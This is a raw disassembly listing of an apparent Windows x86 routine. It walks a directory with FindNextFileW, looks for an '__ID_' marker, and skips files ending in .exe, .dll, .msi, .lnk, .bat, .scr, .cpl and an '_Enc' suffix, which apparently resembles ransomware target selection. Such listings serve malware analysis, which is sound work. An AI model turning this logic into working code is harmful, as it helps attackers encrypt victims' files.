mov dword [ebp - 0x6a8], 7
mov word [ebp - 0x6bc], cx
mov dword [ebp - 4], 0x13
test eax, 0x2000
je 0x4197e5
mov ecx, dword [ebp - 0x568]
and eax, 0xffffdfff
mov dword [ebp - 0x500], eax
cmp ecx, 8
jb 0x4197e5
mov edx, dword [ebp - 0x57c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4197d5
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
mov dword [ebp - 4], 0x12
test eax, 0x1000
je 0x419865
mov edx, dword [ebp - 0x534]
and eax, 0xffffefff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419848
mov ecx, dword [ebp - 0x548]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419838
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x534], 7
mov word [ebp - 0x548], cx
mov dword [ebp - 4], 0x11
test eax, 0x800
je 0x4198e5
mov edx, dword [ebp - 0x6c0]
and eax, 0xfffff7ff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x4198c8
mov ecx, dword [ebp - 0x6d4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4198b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x6c4], 0
mov dword [ebp - 0x6c0], 7
mov word [ebp - 0x6d4], cx
mov dword [ebp - 4], 0x10
test eax, 0x400
je 0x419965
mov edx, dword [ebp - 0x6d8]
and eax, 0xfffffbff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419948
mov ecx, dword [ebp - 0x6ec]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419938
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x6dc], 0
mov dword [ebp - 0x6d8], 7
mov word [ebp - 0x6ec], cx
mov dword [ebp - 4], 0xf
test eax, 0x200
je 0x4199e5
mov edx, dword [ebp - 0x6f0]
and eax, 0xfffffdff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x4199c8
mov ecx, dword [ebp - 0x704]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4199b8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x6f4], 0
mov dword [ebp - 0x6f0], 7
mov word [ebp - 0x704], cx
mov dword [ebp - 4], 0xe
test eax, 0x100
je 0x419a65
mov edx, dword [ebp - 0x708]
and eax, 0xfffffeff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419a48
mov ecx, dword [ebp - 0x71c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419a38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x70c], 0
mov dword [ebp - 0x708], 7
mov word [ebp - 0x71c], cx
mov dword [ebp - 4], 0xd
test al, al
jns 0x419ae2
mov edx, dword [ebp - 0x738]
and eax, 0xffffff7f
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419ac5
mov ecx, dword [ebp - 0x74c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419ab5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x73c], 0
mov dword [ebp - 0x738], 7
mov word [ebp - 0x74c], cx
mov dword [ebp - 4], 0xc
test al, 0x40
je 0x419b5d
mov edx, dword [ebp - 0x65c]
and eax, 0xffffffbf
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419b40
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419b30
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x660], 0
mov dword [ebp - 0x65c], 7
mov word [ebp - 0x670], cx
mov dword [ebp - 4], 0xb
test al, 0x20
je 0x419bb7
mov ecx, dword [ebp - 0x5b0]
and eax, 0xffffffdf
mov dword [ebp - 0x500], eax
cmp ecx, 8
jb 0x419bb7
mov edx, dword [ebp - 0x510]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419ba7
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
mov dword [ebp - 4], 0xa
test al, 0x10
je 0x419c32
mov edx, dword [ebp - 0x54c]
and eax, 0xffffffef
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419c15
mov ecx, dword [ebp - 0x560]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419c05
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x550], 0
mov dword [ebp - 0x54c], 7
mov word [ebp - 0x560], cx
mov dword [ebp - 4], 9
test al, 8
je 0x419cad
mov edx, dword [ebp - 0x598]
and eax, 0xfffffff7
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419c90
mov ecx, dword [ebp - 0x5ac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419c80
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x59c], 0
mov dword [ebp - 0x598], 7
mov word [ebp - 0x5ac], cx
mov dword [ebp - 4], 8
test al, 4
je 0x419d07
mov ecx, dword [ebp - 0x720]
and eax, 0xfffffffb
mov dword [ebp - 0x500], eax
cmp ecx, 8
jb 0x419d07
mov edx, dword [ebp - 0x518]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419cf7
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
mov dword [ebp - 4], 7
test al, 2
je 0x419d73
mov edx, dword [ebp - 0x30]
and eax, 0xfffffffd
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419d5f
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419d4f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], cx
mov dword [ebp - 4], 6
test al, 1
je 0x419dc7
mov edx, dword [ebp - 0x674]
and eax, 0xfffffffe
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419dc7
mov ecx, dword [ebp - 0x688]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419dbd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
add esp, 8
cmp byte [ebp - 0x509], 0
jne 0x41a152
cmp byte [0x5200e8], 1
jne 0x419dfb
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004312d0
call fcn.00418320
add esp, 0x18
cmp al, 1
je 0x41a152
mov eax, dword [ebp - 0x444]
test al, 0x10
je 0x41a1ca
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x418]
push 0x4ffe88
push eax
call esi
test eax, eax
je 0x41a152
push 0x4ffe8c
lea eax, [ebp - 0x418]
push eax
call esi
test eax, eax
je 0x41a152
mov eax, dword [ebp - 0x444]
test al, 0x10
je 0x41a1ca
mov al, byte [0x5200e9]
test al, al
je 0x419e66
cmp al, 1
jne 0x41a11a
cmp byte [0x5200ef], al
jne 0x41a11a
push 0xb8
lea eax, [ebp - 0x4fc]
push 0
push eax
call fcn.004a8980
push 0x4ffe94
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x5ac]
call fcn.00439b40
add esp, 0x10
sub esp, 8
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x4fc]
push 0x20
push eax
call fcn.00433b00
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x598]
cmp edx, 8
jb 0x419ee8
mov ecx, dword [ebp - 0x5ac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419ede
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aefa
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x59c], 0
mov word [ebp - 0x5ac], ax
mov eax, dword [ebp - 0x4fc]
mov dword [ebp - 0x598], 7
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x4f0], 6
je 0x41a029
push 0xb0
lea eax, [ebp - 0x13c]
push 0
push eax
call fcn.004a8980
push 0x4ffe94
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x670]
call fcn.00439b40
add esp, 0x10
sub esp, 0xc
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x13c]
push eax
call fcn.00431e80
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x65c]
cmp edx, 8
jb 0x419f9c
mov ecx, dword [ebp - 0x670]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419f92
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aeff
push edx
push ecx
call fcn.00490c3c
add esp, 8
push dword [0x51fd10]
xor eax, eax
mov dword [ebp - 0x660], 0
cmp dword [0x51fd14], 8
lea ecx, [ebp - 0x13c]
mov edx, 0x51fd00
mov dword [ebp - 0x65c], 7
cmovae edx, dword [0x51fd00]
mov word [ebp - 0x670], ax
call fcn.0043f1e0
add esp, 4
lea ecx, [ebp - 0x138]
call fcn.00437450
test eax, eax
jne 0x41a01a
mov eax, dword [ebp - 0x13c]
lea ecx, [ebp - 0x13c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 0x20
call fcn.0040ad10
cmp dword [ebp - 0x4a0], 0
lea esi, [ebp - 0x4ec]
jne 0x41a03c
xor esi, esi
jmp 0x41a063
lea ecx, [ebp - 0x4ec]
call fcn.00437930
push dword [ebp - 0x4a0]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x4ec]
call fcn.00437a00
test esi, esi
jne 0x41a0a0
mov eax, dword [ebp - 0x4fc]
lea ecx, [ebp - 0x4fc]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x4fc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x500], eax
lea ecx, [ebp - 0x4ec]
call fcn.004347b0
mov eax, dword [ebp - 0x4fc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x4fc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x500], eax
lea eax, [ebp - 0x48c]
mov byte [ebp - 4], 0x24
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00478cbf
add esp, 4
mov byte [ebp - 4], 6
push dword [ebp + 0x3c]
lea eax, [ebp + 0x20]
push dword [ebp + 0x38]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x518], esp
push eax
call fcn.004312d0
sub esp, 0x18
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.004312d0
mov byte [ebp - 4], 6
call fcn.00418490
add esp, 0x38
mov edi, dword [ebp - 0x500]
mov esi, dword [ebp - 0x658]
lea eax, [ebp - 0x444]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x418674
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x2c]
call fcn.004049c0
lea ecx, [ebp - 0x8c]
call fcn.00431ac0
lea ecx, [ebp - 0x74]
call fcn.00431ac0
lea ecx, [ebp - 0x5c]
call fcn.00431ac0
lea ecx, [ebp + 8]
call fcn.004049c0
lea ecx, [ebp + 0x20]
call fcn.004049c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004905bb
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x18]
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmp edi, 8
push 5
cmovae ecx, dword [ebp - 0x2c]
mov edx, esi
push str.__ID_
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41aaf5
push 6
cmp edi, 8
lea ecx, [ebp - 0x2c]
push 0x4ff8d0
cmovae ecx, dword [ebp - 0x2c]
mov edx, esi
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41aaf5
lea ecx, [esi - 4]
mov dword [ebp - 0x584], 0
xor eax, eax
mov dword [ebp - 0x580], 7
mov word [ebp - 0x594], ax
cmp esi, ecx
jb 0x41af04
cmp edi, 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x594]
call fcn.00436c20
or dword [ebp - 0x504], 0x8000
mov byte [ebp - 4], 0x26
lea esi, [ebp - 0x594]
mov edi, dword [ebp - 0x500]
or edi, 0x1000000
cmp dword [ebp - 0x580], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x594]
cmp dword [ebp - 0x584], 4
jne 0x41a2c6
mov ecx, str..exe
mov edx, 4
sub esi, ecx
nop dword [eax + eax]
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x41a2c6
add ecx, 2
sub edx, 1
jne 0x41a2b0
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x56c], 0
mov dword [ebp - 0x568], 7
mov word [ebp - 0x57c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af09
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x57c]
call fcn.00436c20
or dword [ebp - 0x504], 0x10000
mov dword [ebp - 4], 0x27
lea esi, [ebp - 0x57c]
or edi, 0x2000000
cmp dword [ebp - 0x568], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x57c]
cmp dword [ebp - 0x56c], 4
jne 0x41a369
mov ecx, str..dll
mov edx, 4
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x41a369
add ecx, 2
sub edx, 1
jne 0x41a353
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x5b4], 0
mov dword [ebp - 0x5b0], 7
mov word [ebp - 0x5c4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af0e
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x5c4]
call fcn.00436c20
or dword [ebp - 0x504], 0x20000
mov dword [ebp - 4], 0x28
lea esi, [ebp - 0x5c4]
or edi, 0x4000000
cmp dword [ebp - 0x5b0], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x5c4]
cmp dword [ebp - 0x5b4], 4
jne 0x41a40c
mov ecx, str..msi
mov edx, 4
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x41a40c
add ecx, 2
sub edx, 1
jne 0x41a3f6
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 7
mov word [ebp - 0x5dc], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af13
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x5dc]
call fcn.00436c20
or dword [ebp - 0x504], 0x40000
mov dword [ebp - 4], 0x29
lea esi, [ebp - 0x5dc]
or edi, 0x8000000
cmp dword [ebp - 0x5c8], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x5dc]
cmp dword [ebp - 0x5cc], 4
jne 0x41a4b6
mov ecx, str..log
mov edx, 4
sub esi, ecx
nop dword [eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a4b6
add ecx, 2
sub edx, 1
jne 0x41a4a0
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 7
mov word [ebp - 0x5f4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af18
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x5f4]
call fcn.00436c20
or dword [ebp - 0x504], 0x80000
mov dword [ebp - 4], 0x2a
lea esi, [ebp - 0x5f4]
or edi, 0x10000000
cmp dword [ebp - 0x5e0], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x5f4]
cmp dword [ebp - 0x5e4], 4
jne 0x41a559
mov ecx, str..lnk
mov edx, 4
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a559
add ecx, 2
sub edx, 1
jne 0x41a543
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 7
mov word [ebp - 0x60c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af1d
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x60c]
call fcn.00436c20
or dword [ebp - 0x504], 0x100000
mov dword [ebp - 4], 0x2b
lea esi, [ebp - 0x60c]
or edi, 0x20000000
cmp dword [ebp - 0x5f8], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x60c]
cmp dword [ebp - 0x5fc], 4
jne 0x41a5fc
mov ecx, str..ini
mov edx, 4
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a5fc
add ecx, 2
sub edx, 1
jne 0x41a5e6
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x628], 7
mov word [ebp - 0x63c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af22
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x63c]
call fcn.00436c20
or dword [ebp - 0x504], 0x200000
mov dword [ebp - 4], 0x2c
lea esi, [ebp - 0x63c]
or edi, 0x40000000
cmp dword [ebp - 0x628], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x63c]
cmp dword [ebp - 0x62c], 4
jne 0x41a6a6
mov ecx, str..ico
mov edx, 4
sub esi, ecx
nop dword [eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a6a6
add ecx, 2
sub edx, 1
jne 0x41a690
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 7
mov word [ebp - 0x624], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af27
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x624]
call fcn.00436c20
or dword [ebp - 0x504], 0x400000
mov dword [ebp - 4], 0x2d
lea esi, [ebp - 0x624]
or edi, 0x80000000
cmp dword [ebp - 0x610], 8
mov dword [ebp - 0x508], edi
cmovae esi, dword [ebp - 0x624]
cmp dword [ebp - 0x614], 4
jne 0x41a749
mov ecx, str..cmd
mov edx, 4
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a749
add ecx, 2
sub edx, 1
jne 0x41a733
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 7
mov word [ebp - 0x654], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af2c
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x654]
call fcn.00436c20
mov dword [ebp - 4], 0x2e
lea esi, [ebp - 0x654]
mov eax, dword [ebp - 0x504]
or eax, 0x800001
cmp dword [ebp - 0x640], 8
mov dword [ebp - 0x504], eax
cmovae esi, dword [ebp - 0x654]
cmp dword [ebp - 0x644], 4
mov dword [ebp - 0x500], eax
jne 0x41a7ed
mov ecx, str..bat
mov edx, 4
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a7ed
add ecx, 2
sub edx, 1
jne 0x41a7d7
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x51c], 7
mov word [ebp - 0x530], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af31
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x530]
call fcn.00436c20
mov dword [ebp - 4], 0x2f
lea esi, [ebp - 0x530]
mov eax, dword [ebp - 0x504]
or eax, 0x1000002
cmp dword [ebp - 0x51c], 8
mov dword [ebp - 0x504], eax
cmovae esi, dword [ebp - 0x530]
cmp dword [ebp - 0x520], 4
mov dword [ebp - 0x500], eax
jne 0x41a896
mov ecx, str..scr
mov edx, 4
sub esi, ecx
nop dword [eax + eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a896
add ecx, 2
sub edx, 1
jne 0x41a880
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x534], 7
mov word [ebp - 0x548], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af36
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x548]
call fcn.00436c20
mov dword [ebp - 4], 0x30
lea esi, [ebp - 0x548]
mov eax, dword [ebp - 0x504]
or eax, 0x2000004
cmp dword [ebp - 0x534], 8
mov dword [ebp - 0x504], eax
cmovae esi, dword [ebp - 0x548]
cmp dword [ebp - 0x538], 4
mov dword [ebp - 0x500], eax
jne 0x41a93a
mov ecx, str..cpl
mov edx, 4
sub esi, ecx
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a93a
add ecx, 2
sub edx, 1
jne 0x41a924
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x550], 0
mov dword [ebp - 0x54c], 7
mov word [ebp - 0x560], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af3b
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x560]
call fcn.00436c20
mov dword [ebp - 4], 0x31
lea esi, [ebp - 0x560]
mov eax, dword [ebp - 0x504]
or eax, 0x4000008
cmp dword [ebp - 0x54c], 8
mov dword [ebp - 0x504], eax
cmovae esi, dword [ebp - 0x560]
cmp dword [ebp - 0x550], 4
mov dword [ebp - 0x500], eax
jne 0x41a9e6
mov ecx, str..icl
mov edx, 4
sub esi, ecx
nop dword [eax + eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41a9e6
add ecx, 2
sub edx, 1
jne 0x41a9d0
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
mov word [ebp - 0x44], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41af40
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x44]
call fcn.00436c20
mov dword [ebp - 4], 0x32
lea esi, [ebp - 0x44]
mov eax, dword [ebp - 0x504]
or eax, 0x8000010
cmp dword [ebp - 0x30], 8
mov dword [ebp - 0x504], eax
cmovae esi, dword [ebp - 0x44]
cmp dword [ebp - 0x34], 4
mov dword [ebp - 0x500], eax
jne 0x41aa76
mov ecx, str._Enc
mov edx, 4
sub esi, ecx
nop dword [eax]
mov ax, word [esi + ecx]
cmp ax, word [ecx]
jne 0x41aa76
add ecx, 2
sub edx, 1
jne 0x41aa60
jmp 0x41aafb
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
push 0xffffffffffffffff
add eax, 0xfffffffd
push eax
lea eax, [ebp - 0x5ac]
push eax
call fcn.00430e30
mov dword [ebp - 4], 0x33
mov esi, dword [ebp - 0x504]
or esi, 0x20
push 0x4fbfe0
push eax
mov dword [ebp - 0x504], esi
mov dword [ebp - 0x500], esi
call fcn.00439d30
add esp, 8
test al, al
jne 0x41aafb
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x2c]
push 0xffffffffffffffff
add eax, 0xfffffffc
push eax
lea eax, [ebp - 0x688]
push eax
call fcn.00430e30
or esi, 0x40
mov edx, 0x51fdb8
mov ecx, eax
mov dword [ebp - 0x504], esi
call fcn.0043a670
test al, al
jne 0x41aafb
mov byte [ebp - 0x509], al
jmp 0x41ab02
mov edi, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
mov eax, dword [ebp - 0x504]
test al, 0x40
je 0x41ab26
and eax, 0xffffffbf
lea ecx, [ebp - 0x688]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 0x20
je 0x41ab44
and eax, 0xffffffdf
lea ecx, [ebp - 0x5ac]
mov dword [ebp - 0x504], eax
call fcn.004049c0
mov eax, dword [ebp - 0x504]
test al, 0x10
je 0x41ab5f
